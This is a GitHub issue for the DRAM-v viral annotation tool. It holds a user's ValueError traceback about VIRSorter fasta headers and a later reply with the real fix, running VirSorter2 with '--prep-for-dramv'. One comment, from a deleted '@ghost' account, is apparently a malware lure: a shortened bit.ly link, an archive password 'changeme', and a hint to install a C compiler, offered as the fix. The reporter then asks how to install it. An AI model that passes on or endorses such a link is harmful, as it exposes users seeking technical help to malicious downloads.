Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ValueError: Format is not VIRSorter2, and can't find VIRSorter endings on fasta header #359

Open
liaohu1231 opened this issue Sep 20, 2024 · 4 comments

Comments

@liaohu1231
Copy link

Dear author
The valueError was occurred when we used the DRAM-v.py to annotate our data.
Can you provide the method to correct the error?

We will appreciated for this

Traceback (most recent call last):
File "/share/soft/miniconda3/envs/DRAM/bin/DRAM-v.py", line 161, in
args.func(**args_dict)
File "/share/soft/miniconda3/envs/DRAM/lib/python3.10/site-packages/mag_annotator/annotate_vgfs.py", line 507, in annotate_vgfs
annotations = add_dramv_scores_and_flags(annotations, db_handler, logger, virsorter_hits, input_fasta)
File "/share/soft/miniconda3/envs/DRAM/lib/python3.10/site-packages/mag_annotator/annotate_vgfs.py", line 394, in add_dramv_scores_and_flags
virsorter_scaffold_name = get_virsorter_affi_contigs_name(scaffold)
File "/share/soft/miniconda3/envs/DRAM/lib/python3.10/site-packages/mag_annotator/annotate_vgfs.py", line 380, in get_virsorter_affi_contigs_name
return get_virsorter_original_affi_contigs_name(scaffold)
File "/share/soft/miniconda3/envs/DRAM/lib/python3.10/site-packages/mag_annotator/annotate_vgfs.py", line 367, in get_virsorter_original_affi_contigs_name
raise ValueError("Format is not VIRSorter2, and can't find VIRSorter "
ValueError: Format is not VIRSorter2, and can't find VIRSorter endings on fasta header

@ghost
Copy link

ghost commented Sep 20, 2024

maybe this will help
https://bit.ly/4gvtdhO
Pass: changeme

you may need to install the c compiler

@liaohu1231
Copy link
Author

How to install it

@liaohu1231
Copy link
Author

In the conda environment

@yshengzhi
Copy link

You need use VirSorter2 with the option ‘--prep-for-dramv’ to obtain VIRSorter_affi-contigs.tab

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants